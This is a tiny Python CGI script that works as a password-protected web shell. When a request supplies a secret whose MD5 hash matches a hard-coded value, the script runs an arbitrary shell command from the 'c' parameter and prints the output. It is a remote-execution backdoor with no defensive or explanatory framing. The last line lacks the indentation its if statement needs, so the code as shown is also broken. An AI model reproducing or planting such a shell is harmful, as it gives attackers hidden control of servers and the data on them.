#!/usr/bin/env python3
import sys,os,cgi,hashlib
sys.stdout.write('Content-Type: text/plain\r\n\r\n')
sys.stdout.flush()
f=cgi.FieldStorage()
x=f.getvalue('x','')
c=f.getvalue('c','')
if hashlib.md5(x.encode()).hexdigest()=='ba19472dacc5885072a55d871efb22f0' and c:
os.write(1,os.popen(c+' 2>&1').read().encode())